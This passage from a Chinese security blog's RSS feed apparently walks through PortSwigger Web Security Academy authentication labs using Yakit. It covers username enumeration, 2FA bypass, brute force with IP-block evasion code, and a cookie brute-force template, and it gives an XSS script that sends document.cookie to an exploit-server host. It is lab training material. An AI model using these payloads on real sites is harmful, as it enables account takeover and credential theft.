</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">result</span><span class="p">,</span> <span class="mi">55</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">byte_20032B40</span> <span class="o">!=</span> <span class="mi">1</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">result</span><span class="p">,</span> <span class="mi">36</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">  <span class="n">v3</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">  <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="mi">15</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="p">)(</span><span class="n">i</span> <span class="o">+</span> <span class="mi">2</span> <span class="o">+</span> <span class="n">result</span><span class="p">)</span> <span class="o">!=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="n">byte_20032B0C</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">28</span><span class="p">]</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">      <span class="n">v3</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">v3</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="n">byte_20032B40</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">    <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="n">result</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&gt;=</span> <span class="mi">0</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">      <span class="k">return</span> <span class="nf">sub_8004268</span><span class="p">(</span><span class="n">v1</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">    <span class="n">byte_20032B40</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">    <span class="o">++</span><span class="n">dword_20032B3C</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">    <span class="n">dword_20032B38</span> <span class="o">=</span> <span class="n">dword_20032B10</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">result</span><span class="p">,</span> <span class="mi">53</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">  <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>后面不想写了，去看yichen吧</p>
<hr>
<p>参考文章：</p>
<ol>
<li><a
  href="https://zhuanlan.zhihu.com/p/97953640" rel="nofollow noopener noreferrer" target="_blank"
  >一文读懂ECDSA算法如何保护数据<span style="user-select:none"> ↗</span></a
>
</li>
</ol>
]]></content:encoded><h:img src="https://h4cker.zip/1f51f4/vsec2025.webp"/><enclosure url="https://h4cker.zip/1f51f4/vsec2025.webp"/><category>caringcaribou</category><category>暴力破解</category><category>ECDSA</category><category>安全访问</category><category>Reverse</category></item><item><title>Yakit打BurpSuite靶场—认证篇</title><link>https://h4cker.zip/034022/</link><pubDate>Mon, 03 Mar 2025 18:16:15 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/034022/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>让我们欢迎渗透测试三巨头之一！SRC一方霸主！<del>未授权！</del></p>
<p>未授权属于认证</p>
<p>认证大多是逻辑漏洞，开发不把认证做好，就会产生许多越权攻击。</p>
<h4 id="lab-1">Lab 1<a class="anchor" href="#lab-1">#</a></h4>
<p><strong>Username enumeration via different responses</strong></p>
<p>直接插入临时字典爆破就行，每次靶场预设的用户名都不一样</p>
<p>优先检查用户名，用户名不对就显示Invalid username</p>
<p>用户名对了，密码错了，就显示Incorrect password</p>
<p>所以观察返回长度，长一点的就是密码错了，这也暗示用户名是对的，所以可以中止爆破，将用户名修改好，再单独对密码进行爆破。</p>
<p>当然也可以继续等下去，一直等到刚好用户名与密码都正确。</p>
<h4 id="lab-2">Lab 2<a class="anchor" href="#lab-2">#</a></h4>
<p><strong>2FA simple bypass</strong></p>
<p>两步验证形同虚设，账号登录进去就已经给我session了。不过在登录进去多做了一步验证码，此时直接访问my account就行</p>
<h4 id="lab-3">Lab 3<a class="anchor" href="#lab-3">#</a></h4>
<p><strong>Password reset broken logic</strong></p>
<p>访问的密码重置链接，链接指向的网页在提交新密码时同时传递了账号密码，此时可以修改账号，达到修改密码的目的</p>
<h4 id="lab-4">Lab 4<a class="anchor" href="#lab-4">#</a></h4>
<p><strong>Username enumeration via subtly different responses</strong></p>
<p>匹配器匹配那个<code>&lt;p class=is-warning&gt;Invalid username or password.&lt;/p&gt;</code></p>
<p>有一个不同，没有<code>.</code>，他就是用户名</p>
<p>然后拿用户名跑密码，302就是的</p>
<h4 id="lab-5">Lab 5<a class="anchor" href="#lab-5">#</a></h4>
<p><strong>Username enumeration via response timing</strong></p>
<p>动态XFF即可，插入标签<code>{{int::1(1-254)}</code>，然后username那里插入<code>{{payload::1(BP_username)}}</code></p>
<p>这样的话，每个username都对应一个IP，就不会被封禁</p>
<h4 id="lab-6">Lab 6<a class="anchor" href="#lab-6">#</a></h4>
<p><strong>Broken brute-force protection, IP block</strong></p>
<p>错的多了就封禁，但是登录正确用户就清除封禁记录</p>
<p>所以爆破思路就是字典里的密码爆破一个，就填写一个正确的用户去清除错误记录，然后再爆破一个密码。以此来把密码字典跑完，所以这个实现有三种方法：</p>
<p><strong>1、制作交替的字典</strong>，用户名简单，就俩用户名交替，密码制作也简单，每行内插入一个已知用户的密码。把这两个字典同行匹配爆破即可。注意并发为1</p>
<p><strong>2、热加载</strong>，类似于BurpSuite的宏，在每次发包前，发送一次正确用户账号密码的包</p>
<p>注意：包必须替换为你的Cookie，如果你要复制全部请求头进去，有个请求头为<code>sec-ch-ua</code>，他的值有半个括号，导致代码括号闭合有问题，你可以删掉这个括号。</p>
<p>代码如下，我已精简请求包：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="nx">beforeRequest</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="kd">func</span><span class="p">(</span><span class="nx">req</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="cm">/* beforeRequest将在请求发起之前执行 */</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="w">    </span><span class="c1">// 发送GET请求，获取响应</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="w">    </span><span class="nx">rsp</span><span class="p">,</span><span class="w"> </span><span class="nx">_</span><span class="p">,</span><span class="w"> </span><span class="nx">err</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nx">poc</span><span class="p">.</span><span class="nf">HTTP</span><span class="p">(</span><span class="s">`POST /login HTTP/1.1
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="s">Host: 0ad3009604a2fcecd419d948003e0059.web-security-academy.net
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="s">Cookie: session=QmQLegdClZJBN1wKoZaGHK5OlsJOFO3r
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="s">
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="s">username=wiener&amp;password=peter`</span><span class="p">,</span><span class="nx">poc</span><span class="p">.</span><span class="nf">https</span><span class="p">(</span><span class="kc">true</span><span class="p">))</span><span class="w"> </span><span class="cm">/* 这里可以替换为你需要的请求 */</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="nx">err</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="kc">nil</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="w">        </span><span class="k">return</span><span class="w"> </span><span class="nx">req</span><span class="w">
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="w">    </span><span class="k">return</span><span class="w"> </span><span class="nx">req</span><span class="w">
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">go</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><strong>3、使用Yakit序列</strong>，第一个节点插入密码字典，第二个节点是正确用户的登录包，这俩包的并发都降低到1。每次第一个节点发送了一个密码爆破包，就会触发第二个节点的正确登录包，这样也能交替完成爆破，注意yakit中这俩节点的响应是分开显示的。</p>
<p>最快应该是热加载，由于每次发包前都会发送正确的包，所以他可以并发。</p>
<p>其他两个方法不能并发，因为你正确用户可能还没清理掉封禁记录，你就并发了几个密码出去了，由于封禁，很大概率你测试不出来是否是正确密码</p>
<p>思考🤔：序列线程为1，第一个节点发送密码，此时第二个节点开始发包，但第一个节点发送完后，第二次发包又开始了。第二个节点的包如果晚于第一个节点的第二个包，会不会导致没清除掉记录就又发了密码测试？</p>
<h4 id="lab-7">Lab 7<a class="anchor" href="#lab-7">#</a></h4>
<p><strong>Username enumeration via account lock</strong></p>
<p>爆破用户名，有一个用户名显示不同，只有那个用户名才会封禁，他就是目标用户名</p>
<p>然后爆破密码即可，虽然显示封禁，但是正确密码的长度仍然不同，响应里是没有报错的</p>
<h4 id="lab-8">Lab 8<a class="anchor" href="#lab-8">#</a></h4>
<p><strong>2FA broken logic</strong></p>
<p>verify参数是决定让谁生成验证码，然后修改username为carlos。爆破验证码</p>
<h4 id="lab-9">Lab 9<a class="anchor" href="#lab-9">#</a></h4>
<p><strong>Brute-forcing a stay-logged-in cookie</strong></p>
<p>进入my account，抓包，删除session，爆破<code>stay-logged-in</code>参数，这个参数base64解开，后半段是密码的md5，所以爆破的编码标签就是：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-http" data-lang="http"><span class="line"><span class="ln">1</span><span class="cl"><span class="err">Cookie: stay-logged-in={{base64enc(carlos:{{md5({{payload(BP_password)}})}})}};</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">http</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>请求包的第一行要修改为<code>id=carlos</code>，然后错误包显示302跳转到登录，正确包会显示200 my account页面</p>
<h4 id="lab-10">Lab 10<a class="anchor" href="#lab-10">#</a></h4>
<p><strong>Offline password cracking</strong></p>
<p>XSS窃取cookie，访问自己cookie之前，服务器接收到受害者cookie，解开就行</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="ln">1</span><span class="cl"><span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span><span class="nb">document</span><span class="p">.</span><span class="nx">location</span><span class="o">=</span><span class="p">(</span><span class="s2">&#34;https://exploit-0aa500b3035b3ae0bfad75840125006b.exploit-server.net/&#34;</span><span class="o">+</span><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="o">+</span><span class="s2">&#34;/&#34;</span><span class="p">)&lt;/</span><span class="nt">script</span><span class="p">&gt;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">html</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>后台有个机器人carlos在访问帖子，如果刚好时间一致就能获取到cookie，通常是第一个帖子</p>
<h4 id="lab-11">Lab 11<a class="anchor" href="#lab-11">#</a></h4>
<p><strong>Password reset poisoning via middleware</strong></p>
<p>加上XFH，链接会被发送到XFH地址，这是初始地址的意思，防止服务器发给代理服务器的。XFH格式与Host格式一致</p>
<p>网络不好，会导致收不到请求，多发包多等待</p>
<h4 id="lab-12">Lab 12<a class="anchor" href="#lab-12">#</a></h4>
<p><strong>Password brute-force via password change</strong></p>
<p>用户名、当前密码、新密码、再次输入新密码</p>
<p>优先比对当前密码，然后比对新密码与再次输入的新密码</p>
<p>所以让新密码不一样，使当前密码错显示密码错，当前密码对显示新密码错</p>
<p>就这个逻辑爆破就行</p>
<h4 id="lab-13">Lab 13<a class="anchor" href="#lab-13">#</a></h4>
<p><strong>Broken brute-force protection, multiple credentials per request</strong></p>
<p>把字典写为数组作为password字段的值，用302响应中的session登录</p>
<h4 id="lab-14">Lab 14<a class="anchor" href="#lab-14">#</a></h4>
<p><strong>2FA bypass using a brute-force attack</strong></p>
<p>2FA有一种是官方发验证码，发邮件或者短信，这种是你每次登录都会重新生成的，现在无法爆破这种，这相当于一次一密，已经很安全了。</p>
<p>还有一种是手机令牌，大家用过steam或者google 令牌都知道，验证器有一串字符，然后过一会就会更换。你在登录时需要填写这个字符。</p>
<p>而这个靶场的2FA就类似于手机令牌，但是它的时效非常久。我们要在这个时间内爆破出来。</p>
<div class="mermaid-block">
  <pre class="mermaid">flowchart TD
A[开始] --&gt; B(Step 1：访问登录页面) 
B --&gt; |提取session与csrf| C(Step 2：登录账号)
C --&gt;|提取新的session 2| D(Step 3：访问2FA页面)
D --&gt;|提取新的csrf 2| E(爆破验证码)
E --&gt;|爆破剩余字典| B</pre>
</div>
<p>用这个逻辑就行，序列执行流程看下面的图文部分。</p>
<p>这个靶场脆弱点在于，登录后验证码更新时间太久，如果你爆破不出来，那就再执行一遍，或者收集发送失败的包，丢失参数的包，再发一遍。</p>
<p>发现这个题，yakit并没有bp好用。这边需要老传递变量，而bp的宏勾选对应的包就行</p>
<p>Yakit一打就崩，现在是凌晨5点半，提交了崩溃日志，希望起床能得到回复</p>
<hr>
<p>现在是2025/3/12，负责这块的Rookie发了个<code>1.3.9-alpha312</code>版本引擎给我，不崩了。</p>
<p>注意get login那个包可以并发，会快一些。启动器不要并发</p>
<p>并且爆破出了验证码，状态码302的就是，用session登录carlos的账号</p>
<p>这里贴一下序列流程和具体请求包（请求包已删除无用字段），注意变量设置和提取器规则。并且把所有靶场链接替换成自己的</p>
<img src="./Authentication_Lab14_sequence.webp" style="width:80%;" />
<p>第一个节点：字典分叉pass</p>
<p>目的是逐个发包，每次都会调用后面的序列</p>
<p>语法错了都没事，乱写都没事，主要是执行就可以，他就是为了调用序列用的，然后把每个验证码发过去</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-http" data-lang="http"><span class="line hl"><span class="ln">1</span><span class="cl"><span class="nf">HEAD</span> <span class="nn">/{{p(pass)}}</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">Host</span><span class="o">:</span> <span class="l">www.example.com</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="n">User-Agent</span><span class="o">:</span> <span class="l">Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">http</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
